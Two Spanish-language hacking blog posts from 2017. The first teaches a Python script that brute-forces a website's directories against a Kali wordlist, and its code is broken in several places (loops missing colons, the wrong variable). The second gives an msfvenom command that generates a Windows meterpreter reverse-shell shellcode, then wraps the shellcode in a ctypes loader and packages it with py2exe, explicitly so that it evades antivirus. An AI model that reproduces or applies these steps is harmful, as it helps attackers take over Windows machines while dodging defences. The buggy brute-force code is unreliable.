martes, 7 de marzo de 2017

Mini-Curso Hacking Web con Python | # 1 Brute-Force de directorios

Requisitos:

Para seguir este curso es importante tener una base de conocimientos en python.

Introducción:

Cuando estas realizando un pentest, es importante saber donde están los paneles administrativos, donde puedes encontrar información sensible, páginas secretas...
Uno de los métodos es estar probar url por url para saber cual existe y cual no, por ejemplo:
site.com/admin
site.com/administracion
A esto se le conoce como "Brute-Force de directorios"

En este capítulo aprenderás a usar python para hacer un brute-force de directorios.

Tutorial:

Creamos un nuevo archivo .py el cual contendrá el siguiente script:

import requests 1
url = 'http://site.com'  2
respuesta = requests.get(url) 3
print respuesta.text 4

1 Importamos la librería request.
2 Establecemos en una variable la URL que queremos atacar.
3 Guardamos la respuesta en una variable
4 Imprimimos por pantalla la respuesta

De este modo nos aparecerá por pantalla la página completa. Pero a nosotros no nos interesa eso, nos interesa saber si esa página existe o no, ¿y cómo hacemos eso?, muy fácil simplemente haremos lo siguiente:

import requests
url = 'http://site.com'
respuesta = requests.get(url)
print respuesta.text -- Cambiamos por --> print respuesta.status_code

Si ejecutamos el script nos saldrá por pantalla el código 200, el cual nos indica que la página web solicitada existe.

¿Hasta aquí fácil, no?, vamos a verlo más claro:

Si nosotros en el script ponemos una URL que no existe como se ve a continuación:

import requests
url = 'http://site.com/aaaaaaaaaaaaaaa'
respuesta = requests.get(url)
print respuesta.status_code

Nos devolverá el código 404 que nos indica que no existe dicha página.

En base a ese código podemos saber si la url existe o no, esto resulta de gran utilidad, por ejemplo si queremos saber si el panel administrativo es /admin, pondremos:
  
import requests
url = 'http://site.com/admin'
respuesta = requests.get(url)
print respuesta.status_code

Si nos devuelve el 403 puede indicar que la web tiene un WAF (Web Application Firewall) que filtra algunas palabras de la URL (Tampoco es seguro esto).

¿Como podemos automatizar todo este proceso?, podemos crear un archivo de texto con una lista de varios directorios, y que recorra el archivo probando los directorios. Muy bien, vamos a implementarlo en nuestro script:

import requests
url = 'http://site.com/'
directorio = 'admin' 1
respuesta = requests.get(url+directorio) 2
print respuesta.status_code

1 Creamos una nueva variable, la cual contendrá un string que será el nombre del directorio que queremos comprobar.
2 Juntamos la url que queremos comprobar + el directorio.

En vez de poner el nombre del directorio nosotros vamos a crear un wordlist (Un archivo de texto que contiene una lista de nombres), la distribución Kali Linux trae por defecto bastantes diccionarios que podemos encontrar en la ruta: /usr/share/dirbuster/wordlists, en este capitulo usaremos uno de ellos.

Para cargar un wordlist en nuestro script haremos lo siguiente:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt') 1
lineas = archivo.readlines() 2
url = 'http://site.com/'
directorio = 'admin'
respuesta = requests.get(url+directorio)
print respuesta.status_code

1 Abriremos el archivo wordlist
2 Como solo queremos las lineas de ese archivo para ello usamos la variable archivo. y el método readlines y la salida la almacenamos en una variable llamada lineas.
En esa variable ahora se encuentran todas las lineas de nuestro archivo, podemos iterar en esas lineas con un for.

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt')
lineas = archivo.readlines() 
url = 'http://site.com/'
for linea in lineas 1
directorio = linea 2
respuesta = requests.get(url+directorio)
print respuesta.status_code

1 Sacará linea por linea de todas las lineas del archivo.
2 Pondra el nombre de directorio como si fuese una linea

Podemos simplificar todo esto quitando la variable directorio y metiendo la variable linea en respuesta, de este modo:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt')
lineas = archivo.readlines() 
url = 'http://site.com/'
for linea in lineas
respuesta = requests.get(url+linea)
print respuesta.status_code

Cambiarmos el print por url+linea para saber que url existe y cual no.

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt')
lineas = archivo.readlines() 
url = 'http://site.com/'
for linea in lineas
respuesta = requests.get(url+lineas)
print url+linea, respuesta.status_code

Como apareceran muchos directorios que no existen vamos a filtrar para que solo aparezcan los que si existen, lo haremos añadiendo lo siguiente:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt')
lineas = archivo.readlines() 
url = 'http://site.com/'
for linea in lineas
respuesta = requests.get(url+lineas)
codigo = respuesta.status_code 1
if codigo != 404 and codigo != 403: 2
    print url+linea, codigo 3
1 Creamos una variable llamada codigo que va a tener el status_code
2, 3 Añadimos una condicion, si el codigo es distinto a 404 o a 403 que aparezca en pantalla.

Script completo:

import requests
archivo = open('/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt')
lineas = archivo.readlines() 
url = 'http://site.com/'
for linea in lineas
respuesta = requests.get(url+lineas)
codigo = respuesta.status_code
if codigo != 404 and codigo != 403:
    print url+linea, codigo

Si tienes alguna duda, ponla en comentarios y estate atento al segundo episodio. Espero que te haya sido de utilidad este capítulo.
 

 

sábado, 4 de marzo de 2017

Ofuscar Shellcodes en Python

Definición:

Python dispone de una librería llamada ctypes, la cual permite especificar un shellcode en formato C y conseguir ejecutarlo desde el propio script.

Requisitos:

- Máquina Kali Linux
- Máquina Windows 7
    - Python 2.7
    - Py2Exe

Tutorial:

Kali Linux

Lo primero será crear nuestra shellcode, para ello usaremos msfvenom, podemos crearla con el siguiente comando:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IPLOCAL> LPORT=<Puerto al que se va a conectar> -f c --encoder x86/shikata_ga_nai --iterations 6 --bad-chars '\x00'

Nos saldrá algo como esto:


Copiamos la shellcode, ahora vamos a pasarla a exe, podemos hacer uso de esta web.


Como vemos tendrá bastantes detecciones:



Para ofuscarlo, volvemos a copiar el shellcode, esta vez lo copiaremos directamente en un script en python, y usando la librería ctypes, crearemos un espacio en memoria donde irá almacenado el shellcode:

Copiaremos el archivo .py a una máquina con windows.

Windows 7:

Antes de empezar necesitaremos installar py2exe, lo podemos descargar aquí.

Una vez instalado, vamos a convertir a exe el archivo python, para ello copiamos el shellcode.py al directorio de nuestro python (Para que sea más fácil la explicación), en mi caso "C:\Python27"

En ese mismo directorio creamos un archivo llamado "setup.py" el cual contendrá:


from distutils.core import setup
import py2exe

setup(console=['NuestroArchivo.py'])

Abriremos un CMD, iremos a la ruta de python (C:\Python27), y escribiremos el siguiente comando:

python setup.py install

Por último, vamos a convertirlo a exe con el comando:

python setup.py py2exe

Nos creará un directorio llamado "dist" y dentro tendremos nuestro ejecutable, esta vez si que evadirá los antivirus.


 
Puedes ver un tutorial más detallado de py2exe aquí.